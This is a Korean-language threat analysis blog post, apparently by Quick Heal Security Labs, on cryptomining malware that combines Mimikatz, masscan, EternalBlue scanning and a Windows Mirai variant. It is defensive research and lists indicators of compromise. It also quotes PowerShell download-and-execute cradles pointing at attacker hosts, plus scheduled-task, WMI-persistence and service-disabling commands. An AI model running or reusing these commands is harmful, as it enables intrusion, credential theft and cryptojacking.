지난 1년 동안 Quick Heal Security Labs는 채굴 멀웨어의 수가 급증하는 것을 관찰해 왔습니다. 암호화폐를 얻는 방법 중 하나는 채굴입니다. 최근 암호화폐 채굴 멀웨어는 배포가 쉽고 투자 수익이 즉각적으로 발생하기 때문에 사이버 범죄자들의 주요 공격 경로가 되고 있습니다. 이러한 채굴 멀웨어는 일반적으로 다양한 공격 기법을 통해 피해자에게 침투합니다. 공격자는 자체 모듈을 완전히 개발하는 대신, 오픈소스 소프트웨어를 다운로드하여 약간 수정할 수 있습니다.
이 블로그 게시물에서는 이러한 오픈소스 도구를 기반으로 공격 시나리오가 구축된 몇 가지 사례를 살펴보겠습니다. 또한, 오픈소스 도구를 악용하여 새로운 악성코드를 개발하는 추세가 악성코드 개발자에게 어떤 도움을 주고 있는지도 살펴보겠습니다.
이러한 추세는 특히 크립토재킹 사례에서 두드러집니다. 크립토재킹은 사이버 범죄자들의 직접적인 수입원이지만, 피해자 시스템에서 유출된 정보는 사이버 범죄자에게 추가적인 수익을 가져다줄 수 있습니다. 따라서 이러한 오픈소스 도구는 다운로드 프레임워크, 정보 유출, 암호화폐 채굴, DNS 체인저, 미라이 봇 등 다양한 목적으로 사용됩니다. 이는 초당 더 많은 해시를 생성하기 위해 유사한 호스트로 구성된 봇넷을 형성하는 데 큰 도움이 되었습니다. 이러한 오픈소스 도구는 Github 및 유사 플랫폼에서 쉽게 구할 수 있으며, 익스플로잇 프레임워크, 취약점 스캐너, 비밀번호 도용, 권한 엘리베이터, 이베이더 등으로 분류할 수 있습니다.
감염 벡터:
저희는 공격에 사용되는 여러 구성 요소를 다운로드하는 마이너 다운로더를 입수했습니다. 이 스크립트는 스팸 메일, 악성 URL, 무료 소프트웨어 번들러 또는 모든 악성코드 변종에서 사용되는 일반적인 경로를 통해 시스템에 유입될 수 있습니다. 또한, PowerShell 스크립트가 초기 원인일 가능성이 높다고 판단됩니다. 마이너의 동작 방식이 다소 재귀적이어서 시스템에서 최초 감염 경로를 확인하기 어려웠습니다.
기술적 분석 :

마이너 다운로더는 'xpdown.dat'라는 이름의 파일을 생성하는데, 이 파일에는 C2 서버의 일부 IP 주소가 포함되어 있으며, 여기서 추가 구성 요소를 다운로드합니다.
45.58.135.106
103.95.28.54
103.213.246.23
74.222.14.61
Ok.xmr6b.ru
그런 다음 도메인에서 다음 파일을 다운로드합니다.
hxxp://45.58.135.106/xpdown.dat
hxxp://45.58.135.106/down.html
hxxp://45.58.135.106/ok/64.html
CPU Miner(174.128.248.10)를 다운로드하는 IP가 포함되어 있습니다.
hxxp://45.58.135.106/kill.txt
여기에는 피해자의 컴퓨터에서 실행 중일 경우 종료할 프로세스 목록이 포함되어 있습니다.
lsmose.exe lsmos.exe conime.exe lsmosee.exe
1.exe lsazs.exe tasksche.exe Zationa.exe
csrs.exe shennong.bat svshpst.exe Spoolvs.exe
svcsot.exe xmrig.exe srvany.exe WinSCV.exe
csrswz.exe csrs.exe seser.exe severxxs.exe
mssecsvc.exe mssecsvr.exe dsbws.exe
그런 다음 맬웨어는 다운로드할 여러 페이로드에 대한 정보가 포함된 텍스트 파일을 다운로드합니다.
hxxp://45.58.135.106/down.txt
그리고 이 down.txt에는 다음 링크가 포함되어 있습니다. 그런 다음 맬웨어는 시스템의 TCP 포트 32381을 엽니다.
hxxp://213.183.45.201/downs.exe (C:\windows\system\downs.exe)
hxxp://66.117.6.174/ups.rar (C:\windows\system\cab.exe)
hxxp://213.183.60.7/b.exe (C:\windows\inf\msief.exe)
hxxp://174.128.239.250/item.dll(C:\windows\debug\item.dat)
파일의 링크를 살펴보면 다음과 같은 사실을 알 수 있습니다.
Downs.exe는 Microsoft "CACLS"(액세스 제어 목록을 표시하고 수정하는)의 수정된 버전입니다. Ups.rar는 cab.exe로 다운로드됩니다. 이 구성 요소는 Mirai 봇넷의 윈도우 변종용 다운로더입니다. 또한 DNS 변경 프로그램 역할을 하며 시스템에 백도어를 엽니다. 실행 시, IP 주소가 "223.5.5.5"인 호스트의 DNS 항목을 수정하는 등 여러 작업을 수행합니다. 이 호스트의 지리적 위치는 중국이며 DNS 서비스 제공업체는 "Hangzhou Alibaba Advertising Co.,Ltd"입니다.

그런 다음 GetVersionExA를 호출하여 감염된 시스템이 윈도우 서버인지 확인합니다. 해당 시스템이 윈도우 서버인 경우 C2 서버에서 update.txt를 다운로드하고 "C:\windows\system\uplist.txt"에 저장합니다. uplist.txt에는 다운로드 및 실행될 다음 페이로드가 포함되어 있습니다.
hxxp://66.117.6.174/wpd.jpg (C:\windows\system\msinfo.exe)
hxxp://66.117.6.174/my1.html (C:\windows\system\my1.bat)
또한 npptools.dll, 64npf.sys, npf.sys, nsoak.dat, packet.dll, wpcap.dll을 다운로드합니다. 이 파일들은 msinfo.exe 실행 시 로드되는 네트워크 패킷 처리에 사용되는 파일입니다.
이러한 구성 요소를 하나씩 살펴보겠습니다.
my1.bat:
이 악성코드는 "Squiblydoo", "download cradle" 및 WMI 이벤트 구독 지속성 악용 등 여러 가지 기술을 사용하여 감염된 컴퓨터에서 악성 콘텐츠를 실행하기 때문에 매우 은밀하고 회피적인 코드를 포함합니다.
WMI 스크립트에는 여러 개의 PowerShell 스크립트가 포함되어 있습니다.
powershell.exe IEX(New-Object system.Net.WebClient).DownloadString('hxxp://173.208.139.170/s.txt')
이 텍스트 파일에는 다음과 같은 또 다른 PowerShell 다운로더가 포함되어 있습니다.
powershell.exe IEX(New-Object system.Net.WebClient).DownloadString('hxxp://74.222.1.38/up.txt')
“Up.txt”에는 WMI 클래스를 사용하여 시스템 OS, 실제 메모리, 실행 중인 프로세스 목록에 대한 정보를 수집한 다음 Github에서 Mimikatz의 Powershell 형식을 다운로드하는 코드가 포함되어 있습니다.
더 나아가 손상된 컴퓨터에서 자격 증명을 훔쳐 FTP의 하드코딩된 자격 증명과 함께 FTP 서버 IP:192.187.111.66에 업로드합니다.

Msinfo.exe:
기본적으로 Mirai 봇넷의 윈도우 버전입니다. 이전에 유출된 Mirai 소스 코드와 일치하는 코드가 많아졌습니다. 명령줄 매개변수 "-create" "-run"을 사용하여 실행하면 현재 시스템의 아키텍처가 x86, MIPS, ARM 등인지 확인합니다. 확인된 아키텍처를 기반으로 최신 업데이트가 있는지 확인하고, 가능한 경우 다운로드합니다.
C2 서버에서 다운로드한 암호화된 파일에 따라 다음 작업을 수행합니다.
- 크랙 라이브러리와 하이드라 도구를 사용하여 블라인드 SQLi(SQL 주입), 무차별 대입 공격 기법을 수행하여 스프레더 메커니즘을 구현합니다.
[크래커:텔넷][크래커:MSSQL] [크래커:CCTV][크래커:MS17010], 크래커WMI, 크래커SSH
- 이 도구는 nmap(인기 있는 포트 스캐닝 도구)과 비슷하게 작동하는 masscan(매우 빠른 포트 스캐너이자 오픈 소스 프로젝트)을 사용하여 80,8000,445, XNUMX, XNUMX와 같은 다양한 포트를 스캔합니다.
https://github.com/robertdavidgraham/masscan
- 다음 명령을 호출하여 특정 서비스를 비활성화합니다.
C:\Windows\system32\cmd.exe /c taskkill /f /im csrs.exe&sc stop netprofm&sc config netprofm
시작 = 비활성화&sc stop NlaSvc&sc config NlaSvc start=disabled
- 또한 시스템의 공용/개인 IP와 지리적 위치 등의 모든 관련 정보를 수집하는 네트워크 스캔을 수행합니다. 그런 다음 공격자는 자신의 IP를 현재 시스템 IP로 스푸핑한 후 MassCan을 사용하여 다른 장치를 스캔합니다.
이러한 단계를 거쳐 이 시스템을 봇으로 변환하고 봇 네트워크에 추가합니다. 코드는 C++로 개발되어 다음과 같은 여러 소스에 배포되었습니다.
CheckUpdate.cpp
크래커_인라인.cpp
Cracker_Standalone.cpp
CThreadPool.cpp
Logger_Stdout.cpp
Scanner_Tcp_Connect.cpp
Scanner_Tcp_Raw.cpp
cService.cpp
서버 에이전트.cpp
Task_Crack_Ipc.cpp
Task_Crack_Mssql.cpp
Task_Crack_Rdp.cpp
Task_Crack_Ssh.cpp
Task_Crack_Telnet.cpp
Task_Crack_Wmi.cpp
Task_Scan.cpp WPD.cpp
이 공격은 기본적으로 임베디드 리눅스가 탑재된 IoT 기기를 노립니다. 따라서 위에서 언급한 다양한 방법을 통해 해당 기기를 침투/크래킹한 후 원격 명령을 실행하기 위해 BusyBox(임베디드 리눅스의 스위스 군용 칼이라고도 불리는 UNIX 유틸리티를 제공하는 소프트웨어 제품군)를 사용했습니다.
다운로드 마이너용 VBS/BAT 에이전트:
먼저, 페이로드가 삭제되고 피해자 머신의 아래 위치에 실행됩니다.
hxxp://213.183.60.7/b.exe (C:\windows\inf\msief.exe에서 다운로드)
실행 시, 아래 언급된 위치에 VBS와 배치 파일을 저장하고 wscript.exe를 호출하여 vbs 파일을 실행한 후 최종적으로 bat 파일을 실행합니다.
C:\Windows\web\c3.bat
C:\Windows\web\n.vbs
bat 파일에는 폴더/파일의 속성을 수정하고, 특정 프로세스를 종료하고, 파일을 삭제하고, 폴더/파일의 액세스 제어를 수정하고, 레지스트리, 작업 스케줄러, WMI 이벤트 구독을 통해 시스템의 여러 페이로드에 대한 영구성을 유지하고, 445,139개 포트를 차단하여 방화벽 정책을 수정하는 많은 코드가 포함되어 있습니다.


xpdown.dat 파일에는 C2 서버 중 하나에서 다운로드된 두 개의 추가 페이로드가 있습니다. 하나는 디스크 작성기(DLL 파일)로, "C:\Windows\debug" 위치에 저장됩니다. 위의 bat 파일에 의해 작업 스케줄러에 추가된 항목이 있으므로 시스템 시작 시 실행됩니다.
schtasks /create /tn “Mysa1” /tr “rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa” /ru “system” /sc onstart /F
두 번째는 최종 페이로드, 즉 XMRig Monero Miner로, hxxp://64/174.128.248.10.rar의 "C:\windows\debug\lsmos.exe"에서 다운로드한 64비트 실행 파일입니다.
실행 시 자체 압축이 해제되어 현재 실행 폴더에 3개의 파일이 생성됩니다. 하나는 실행 파일(VM Protect로 압축된 lsmose.exe -64비트)이고 다른 하나는 DLL XNUMX개(xmrstak_cuda_backend.dll과 xmrstak_opencl_backend.dll)로, 마이너가 성공적으로 실행되는 데 도움이 됩니다.
우리가 관찰한 또 다른 유사한 사례는 base64로 인코딩된 PowerShell 스크립트인데, 이는 기본적으로 WMI 클래스에 숨어서 AV와 대부분의 보안 제품을 회피하는 암호화폐 채굴 맬웨어입니다. 은밀하고 고유한 기능 때문입니다.
디코딩 후 다음과 같은 코드를 얻습니다.

다음은 맬웨어의 기본적인 워크플로입니다.

실행 시, 해당 IP/도메인이 활성 상태인지 여부를 코드에 명시적으로 언급되어 있지 않은지 확인합니다. 활성 상태인 경우 배너를 요청하고 ' SCM Event1 Log ' 라는 응답을 받습니다.

그 후 맬웨어는 아래 명령을 실행하여 'FilterToConsumerBinding' WMI 클래스를 쿼리합니다.
$a=([문자열](Get-WMIObject -네임스페이스 root\구독 -클래스 __FilterToConsumerBinding))
그런 다음 ' SCM Event1 Log '가 포함되어 있는지 확인합니다 . 포함되어 있지 않으면 Invoking Expression(IEX)을 사용하여 in6.ps1 (64비트) 또는 in3.ps1 (32비트) 파일을 다운로드하고 실행합니다.

in6.ps1/in3.ps1:
이 스크립트는 두 부분으로 구성되어 있습니다. 첫 번째 부분은 base64로 인코딩된 Gzip 데이터 스트림이고, 두 번째 부분은 난독화된 코드를 포함합니다. 난독화 해제 후, 코드는 추가 기능을 갖춘 원래의 base64로 인코딩된 스크립트와 유사하게 재구성됩니다.

인코딩된 gzip에는 아래와 같이 4개의 파일이 포함되어 있습니다.
- '미니' - 신임장 도용범 미미카츠
- 'mon' – Monero CPU 마이너
- 'funs' – WMI를 통해 원격 DLL을 실행하고 취약한 스캐닝을 방지하는 기능을 갖춘 함수 모음입니다.
- 'sc' – 다른 시스템에서 실행되고, 이터널 블루에 취약한 경우 동일한 페이로드를 다운로드하는 셸코드입니다.
네임스페이스 "root\default" 아래에 WMI 클래스 "systemcore_Updater0"을 생성하고 mimi, mon, funs, sc, ipsu 및 i17과 같은 속성을 추가합니다.

그런 다음 filtername="SCM Event1 Log Filter" 및 consumername="SCM Event1 Log Consumer"를 설정합니다.
공격자가 WMI를 지속성 메커니즘으로 사용하는 경우 __EventFilter, _EventConsumer 및 __FilterToConsumerBinding의 인스턴스를 만들어야 하며 _InstanceCreationEvent 이벤트가 발생합니다.
이 경우 공격자는 다음 쿼리를 EventFilter로 사용하고 이를 초기 base64로 인코딩된 스크립트와 바인딩합니다. 이 스크립트는 결국 약 3시간마다 실행됩니다.
SELECT * FROM __InsanceModificationEvent WITHIN 10600 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System

작업 스케줄러 항목 " sysupdater0 " 을 삭제하려고 시도했으며 , %systemroot%에 있는 "sysupdater0.bat" 파일도 확인하여 존재하면 함께 제거합니다.
다음 명령을 호출하여 Windows 절전 모드, 최대 절전 모드 및 전원 계획 설정을 수정합니다.
powercfg /CHANGE -standby-timeout-ac 0
powercfg /CHANGE -hibernate-timeout-ac 0
powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
필터 이름이 "SCM Event0 Log"와 일치하지 않으면 네임스페이스 "root\subscription" 아래의 __FilterToConsumerBinding 클래스에 있는 모든 WMI 개체를 제거합니다.
그런 다음 포트 번호 3333, 5555 또는 7777을 사용하여 "ESTABLISHED" 연결이 있는 경우 해당 프로세스를 종료합니다.
실행 중인 "PowerShell" 프로세스의 PID와 시스템의 네트워크 연결 목록을 생성합니다. 그런 다음 "ESTABLISHED" 연결과 연결된 포트 번호 80, 14444, 14433 또는 443을 가진 프로세스를 확인합니다. 해당 프로세스가 없고 실행 중인 PowerShell 프로세스 수가 8개 미만이면 "funs" 모듈을 사용하여 Monero Miner를 실행합니다. 그 후 mimikatz를 실행하고 Monero Miner 실행 여부와 관계없이 자격 증명을 덤프합니다.
또한 네트워크 주소를 열거하고 활성화된 IP 주소를 확인하여 'ipsu'라는 속성에 추가합니다. 그런 다음 해당 IP 주소를 스캔하여 MS17-010 취약점(Eternal Blue Scanner 스크립트 사용)에 취약한 시스템을 식별하고 'i17' 속성에 저장합니다. 마지막으로 셸 코드를 실행하여 운영 체제 아키텍처에 따라 in3.ps1 또는 in6.ps1과 정확히 동일한 ze3.ps1 또는 ze6.ps1 파일을 다운로드합니다.

셸 코드는 PS 스크립트를 다운로드하고 실행하여 다른 취약한 시스템을 감염시킵니다. 이를 통해 네트워크의 다른 시스템에도 확산되고 마이닝됩니다.
따라서 두 사례 모두 오픈소스 도구가 공격에 악용되고 있습니다. Mimikatz, Masscan, Eternal Blue 취약점 스캐너는 악성코드 개발자들 사이에서 인기 있는 도구로 보입니다. 랜섬웨어 유포에도 유사한 기법이 사용되고 있습니다. Seqrite 다양한 탐지 수준에서 이러한 공격을 성공적으로 탐지합니다.
침해 지표:
790C213E1227ADEFD2D564217DE86AC9FE660946E1240B5415C55770A951ABFD
46BC86CFF88521671E70EDBBADBC17590305C8F91169F777635E8F529AC21044
AE161E582DE9EC380B3E0B295EFFD62EB8889AC35BC6631A9492CF41563ED14A
0E91F531A05C70B6CF3A8FA942B91A026A5B57069AA5B5C8DFE1EBCBC63AEAE9
EAEF82223EEB8CF404A1D46613D36B9E582304B215201B5E557DB578DD73E04E
30CDBB5C9E23758E8C74E9FDBAEE893D67D3BA42B3B09196CF98395738A67F56
7EC433DD0454553B09F11C39944E251E3EE32E4981F52F02ADC3011EB0CE6537
EA7CEDE3BCB8AD6A8E9FED3CB34F8E6746D445E2044455261EAD4E5092070408
88D338D9FC1990E3D48CDB7E704E785953271EEAB97F196BBCD0C4D2D76F7DC3
789CBE603582262914191882DEC7E6A6F1D61D062D2BDF21B8892BC5854C6196
9868C6F0F23FB81229E2EF765FF524602244384C420D14FFD5708341D85EF4CE
D256AF525680DF6A6178AD608D1700FE5178AA2F3EFE4A52DBCF7AD7EA524936
주제 전문가:
Priyanka Shinde, Goutam Tripathy, Vallabh Chole
보안연구소, 퀵힐테크놀로지스(주)



